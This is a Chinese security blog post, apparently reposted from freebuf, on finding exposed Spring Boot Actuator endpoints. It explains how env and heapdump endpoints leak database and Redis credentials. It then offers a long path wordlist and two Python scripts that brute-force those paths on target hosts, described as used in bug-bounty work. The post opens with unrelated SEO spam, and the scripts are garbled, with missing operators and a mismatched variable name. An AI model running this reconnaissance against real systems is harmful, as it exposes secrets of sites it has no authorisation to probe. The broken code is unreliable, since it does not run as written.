巩义做网站推广,创意产品设计及介绍,软件商城官网,外贸软件排行榜前十名转载于#xff1a;https://www.freebuf.com/vuls/289710.html #前言##Spring Boot框架介绍Spring框架功能很强大#xff0c;但是就算是一个很简单的项目#xff0c;我们也要配置很多东西。因此就有了Spring Boot框架#xff0c;它的作用很简单#xff0c;就是帮我们自动配…转载于https://www.freebuf.com/vuls/289710.html
#前言##Spring Boot框架介绍Spring框架功能很强大但是就算是一个很简单的项目我们也要配置很多东西。因此就有了Spring Boot框架它的作用很简单就是帮我们自动配置其设计目的是用来简化新Spring应用的初始搭建以及开发过程。Spring Boot框架的核心就是自动配置只要存在相应的jar包Spring就帮我们自动配置。该框架使用了特定的方式来进行配置从而使开发人员不再需要定义样板化的配置。如果默认配置不能满足需求我们还可以替换掉自动配置类使用我们自己的配置。另外Spring Boot还集成了嵌入式的Web服务器系统监控等很多有用的功能让我们快速构建企业及应用程序。##Actuator中间件工具介绍Actuator是Spring Boot提供的服务监控和管理工具。当Spring Boot应用程序运行时它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置就有可能导致一些敏感信息泄露。#如何发现Spring Boot框架通常有两种方法1.网站的icon文件是一个绿色的树叶2.页面存在特有的报错信息#敏感信息泄露所影响的版本Spring Boot 1.5 默认未授权访问所有端点。Spring Boot 1.5 默认只允许访问/health和/info端点但是此安全性通常被应用程序开发人员禁用。#每个端点的作用官方文档有对它们展开详细的描述路径 描述 默认启用
auditevents 显示当前应用程序的审计事件信息 Yes
beans 显示一个应用中所有Spring Beans的完整列表 Yes
conditions 显示配置类和自动配置类(configuration and auto-configuration classes)的状态及它们被应用或未被应用的原因
configprops 显示一个所有ConfigurationProperties的集合列表 Yes
env 显示来自Spring的 ConfigurableEnvironment的属性 Yes
flyway 显示数据库迁移路径如果有的话 Yes
health 显示应用的健康信息当使用一个未认证连接访问时显示一个简单 的’status’使用认证连接访问则显示全部信息详情
info 显示任意的应用信息 Yes
liquibase 展示任何Liquibase数据库迁移路径如果有的话 Yes
metrics 展示当前应用的metrics信息 Yes
mappings 显示一个所有RequestMapping路径的集合列表 Yes
scheduledtasks 显示应用程序中的计划任务 Yes
sessions 允许从Spring会话支持的会话存储中检索和删除(retrieval and deletion) 用户会话。使用Spring Session对反应性Web应用程序的支持时不可用。
shutdown 允许应用以优雅的方式关闭默认情况下不启用 No
threaddump 执行一个线程dump Yes
heapdump 返回一个GZip压缩的hprof堆dump文件 Yes
jolokia 通过HTTP暴露JMX beans当Jolokia在类路径上时WebFlux不可用 Yes
logfile 返回日志文件内容如果设置了logging.file或logging.path属性的话支持使用HTTP Range头接收日志文件内容的部分信息 Yes
prometheus 以可以被Prometheus服务器抓取的格式显示metrics信息 Yes
##访问/actuator如果网站设置了management.endpoints.web.exposure.include为*那么我们可以在/actuator看到所有存在的断点##访问/actuator/version泄露版本信息##访问/env或者/actuator/env获取环境属性其中redis账户和信息泄露其中数据库账户和信息泄露##访问/actuator/metrics获得每个度量的名称其中主要监控了JVM内容使用、GC情况、类加载信息等如果想要得到每个度量的详细信息你需要传递度量的名称到URL中比如这样:http://x.x.x.x/actuator/metrics/http.server.requests##访问/actuator/threaddump获取服务器的线程堆栈##访问/actuator/loggers获取服务器的日志级别##访问/actuator/configprops查看配置文件中设置的属性内容以及一些配置属性的默认值##访问/actuator/info展示了关于应用的一般信息这些信息从编译文件比如META-INF/build-info.properties或者git文件比如git.properties或者任何环境的property中获取:##访问/actuator/prometheus获取一些监控指标##访问/actuator/mappings其中描述全部的URI路径以及它们和控制器的映射关系访问http://x.x.x.x/actuator/mappings{/**/favicon.ico: {bean: faviconHandlerMapping},{[/hello]}: {bean: requestMappingHandlerMapping,method: public java.lang.String com.neo.controller.HelloController.index()},{[/error]}: {bean: requestMappingHandlerMapping,method: public org.springframework.http.ResponseEntityjava.util.Mapjava.lang.String, java.lang.Object org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)}
}
##访问/actuator/healthhealthendpoint只展示了简单的UP和DOWN状态比如这样为了获得健康检查中所有指标的详细信息就需要通过在application.yaml中增加如下内容management:endpoint:health:show-details: always
一旦你打开上述开关那么在/health中可以看到详细内容比如下面这样{status: UP,diskSpace: {status: UP,total: 209715195904,free: 183253909504,threshold: 10485760}db: {status: UP,database: MySQL,hello: 1}
}
##访问/heapdump或者/actuator/heapdump会返回一个GZip压缩的JVM堆dump其中是jvm heap信息。下载的heapdump文件大小通常在 50M—500M 之间有时候也可能会大于 2G。然后使用 MAT 可以获得jvm heap中的密码明文。其中还有部分端点这里就不一一展示了。#Spring Boot敏感端点路径专属字典这里送波福利吧%20/swagger-ui.html
actuator
actuator/auditevents
actuator/beans
actuator/conditions
actuator/configprops
actuator/env
actuator/health
actuator/heapdump
actuator/httptrace
actuator/hystrix.stream
actuator/info
actuator/jolokia
actuator/logfile
actuator/loggers
actuator/mappings
actuator/metrics
actuator/scheduledtasks
actuator/swagger-ui.html
actuator/threaddump
actuator/trace
api.html
api/index.html
api/swagger-ui.html
api/v2/api-docs
api-docs
auditevents
autoconfig
beans
caches
cloudfoundryapplication
conditions
configprops
distv2/index.html
docs
druid/index.html
druid/login.html
druid/websession.html
dubbo-provider/distv2/index.html
dump
entity/all
env
env/(name)
eureka
flyway
gateway/actuator
gateway/actuator/auditevents
gateway/actuator/beans
gateway/actuator/conditions
gateway/actuator/configprops
gateway/actuator/env
gateway/actuator/health
gateway/actuator/heapdump
gateway/actuator/httptrace
gateway/actuator/hystrix.stream
gateway/actuator/info
gateway/actuator/jolokia
gateway/actuator/logfile
gateway/actuator/loggers
gateway/actuator/mappings
gateway/actuator/metrics
gateway/actuator/scheduledtasks
gateway/actuator/swagger-ui.html
gateway/actuator/threaddump
gateway/actuator/trace
health
heapdump
heapdump.json
httptrace
hystrix
hystrix.stream
info
intergrationgraph
jolokia
jolokia/list
liquibase
logfile
loggers
mappings
metrics
monitor
prometheus
refresh
scheduledtasks
sessions
shutdown
spring-security-oauth-resource/swagger-ui.html
spring-security-rest/api/swagger-ui.html
static/swagger.json
sw/swagger-ui.html
swagger
swagger/codes
swagger/index.html
swagger/static/index.html
swagger/swagger-ui.html
swagger-dubbo/api-docs
swagger-ui
swagger-ui.html
swagger-ui/html
swagger-ui/index.html
system/druid/index.html
template/swagger-ui.html
threaddump
trace
user/swagger-ui.html
v1.1/swagger-ui.html
v1.2/swagger-ui.html
v1.3/swagger-ui.html
v1.4/swagger-ui.html
v1.5/swagger-ui.html
v1.6/swagger-ui.html
v1.7/swagger-ui.html
/v1.8/swagger-ui.html
/v1.9/swagger-ui.html
/v2.0/swagger-ui.html
v2.1/swagger-ui.html
v2.2/swagger-ui.html
v2.3/swagger-ui.html
v2/swagger.json
webpage/system/druid/index.html
#用工具跑字典##Burp Suite用Burp Suite跑似乎有点问题在Intruder爆破模块中将payload设置成如此形式跑不出来然而手测完页面却能访问而且是有敏感信息的所以这里有点问题。然后上网搜完说是payload要设置成如下形式其中有部分状态码返回200了还有Content-length也返回的是正确的可是还是大部分是错误的和我手测不相符这里如果有师傅知道原因请告诉我。##自己写python脚本既然上面出现了问题那么我只能自己写一个来跑了import requests
import timeurl ‘http://x.x.x.x/’ #这里url末尾要有’/’ with open(“SpringBoot信息泄露目录字典.txt”, ‘r’) as web: webs web.readlines() for web in webs: web web.strip() u url web response requests.get(u) #print(“url为:”u) print(“url为:” u ’ ’ “状态为:%d”%response.status_code ’ ’ “content-length为:” str(len(response.content))) time.sleep(5) #想sleep多久看自己~ w open(‘easyresult.txt’, ‘w’) for web in webs: web web.strip() u url web response requests.get(u) w.write(“url为:” u ’ ’ “状态为:%d”%response.status_code ’ ’ “content-length为:” str(len(response.content)) ‘\n’)
结果也是全部正确进阶脚本可以跑多个URL
import requests
import time
with open(“url.txt”, ‘r’) as temp:
for url in temp.readlines():
url url.strip(‘\n’)
with open(“SpringBoot信息泄露目录字典.txt”, ‘r’) as web:
webs web.readlines()
for web in webs:
web web.strip()
u url web
r requests.get(u)
# print(“url为:”u)
print(“url为:” u ’ ’ “状态为:%d”%response.status_code ’ ’ “content-length为:” str(len(response.content)))
time.sleep(5) #想睡多久看自己~
w open(‘result.txt’, ‘w’)
for web in webs:
web web.strip()
u url web
r requests.get(u)
w.write(“url为:” u ’ ’ “状态为:%d”%response.status_code ’ ’ “content-length为:” str(len(response.content)) ‘\n’)测试出来的结果也是全部正确。
##SRC实战我用这个漏洞实战了某些src均挖掘出了敏感信息并提交至平台。上面的所有截图均为实战时候的截图现已全部修复。
参考https://blog.csdn.net/weixin_50464560/article/details/119778686?spm1001.2014.3001.5501https://blog.csdn.net/weixin_50464560/article/details/119711472